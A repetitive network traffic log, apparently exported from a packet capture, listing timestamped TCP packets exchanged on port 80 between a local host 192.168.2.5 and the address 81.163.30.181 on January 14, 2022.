Jan 14, 2022 21:05:49.113697052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113735914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113760948 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.113775969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113817930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113871098 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.113884926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113924980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113965034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114002943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114017010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114027023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114042044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114082098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114115953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114121914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114165068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114206076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114221096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114244938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114286900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114303112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114326954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114341974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114366055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114406109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114423990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114445925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114485979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114502907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114527941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114566088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114604950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114624023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114664078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114701033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114721060 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114742994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114753962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114783049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114820957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114845991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114861012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114903927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114945889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.114959955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.114986897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115025043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115044117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115065098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115072966 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115104914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115144968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115163088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115185976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115226984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115267038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115284920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115308046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115346909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115364075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115387917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115397930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115427971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115466118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115483999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115504980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115545034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115585089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115605116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115628004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115628958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115669966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115709066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115725994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115748882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115787983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115808010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115828037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115869999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115910053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115925074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.115952015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.115989923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116019011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116030931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116044998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116070986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116110086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116127014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116148949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116189003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116206884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116229057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116270065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116307020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116332054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116348028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116388083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116405964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116426945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116441965 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116468906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116509914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116527081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116552114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116592884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116609097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116631985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116671085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116709948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116725922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.116750002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.116811991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.117326021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.123713017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.125349998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.126395941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.130702972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.130743027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.130783081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.130815983 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.130822897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.130861044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.130899906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.130914927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.130939960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.130995035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.132023096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.132065058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.132106066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.132122040 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.132144928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.132184029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.132196903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.132222891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.132239103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.141716957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.142663956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.144568920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.174813032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.174879074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.174917936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.174937963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.174958944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.174963951 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.174998045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175038099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175055981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175080061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175118923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175163031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175177097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175204039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175208092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175241947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175282955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175295115 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175323963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175368071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175399065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175427914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175458908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175507069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175545931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175584078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175616026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175623894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175647974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175669909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175669909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175709009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175749063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175760031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175790071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175828934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175868988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175875902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175908089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175949097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175956964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.175992966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.175992966 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176032066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176070929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176078081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176110983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176150084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176160097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176188946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176229000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176239014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176268101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176310062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176347017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176357985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176388025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176390886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176429987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176466942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176481962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176507950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176548004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176594973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176610947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176645041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176662922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176685095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176737070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176759958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176776886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176815987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176855087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176867962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176893950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176944017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176947117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.176985979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.176999092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177025080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177073002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177077055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177118063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177155972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177167892 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177195072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177233934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177273035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177277088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177313089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177357912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177357912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177402020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177439928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177464008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177479029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177517891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177532911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177557945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177598000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177606106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177640915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177679062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177689075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177717924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177730083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177758932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177797079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177835941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177862883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177887917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.177911043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.177964926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178004980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178011894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.178045988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178085089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178123951 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.178154945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178195000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178231955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178242922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.178272009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178278923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.178313017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178352118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178363085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.178392887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178428888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178440094 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.178468943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178509951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178546906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178554058 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.178587914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.178637028 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.181154013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.184710026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.185746908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.188637972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.188674927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.188713074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.188729048 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.188751936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.188788891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.188802004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.188827038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.188921928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.188978910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.189901114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.189934969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.189989090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.190001965 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.190032005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.190042973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.190071106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.190124989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.193151951 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.200649977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.200694084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.200790882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237076998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237119913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237159014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237185001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237195969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237235069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237272024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237273932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237315893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237345934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237354994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237400055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237438917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237457991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237478971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237497091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237518072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237556934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237576962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237596989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237637997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237678051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237695932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237715960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237746954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237756014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237796068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237833977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237859011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237890959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.237900972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237942934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.237981081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238006115 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238019943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238059998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238097906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238121986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238138914 CET	80	49882	81.163.30.181	192.168.2.5
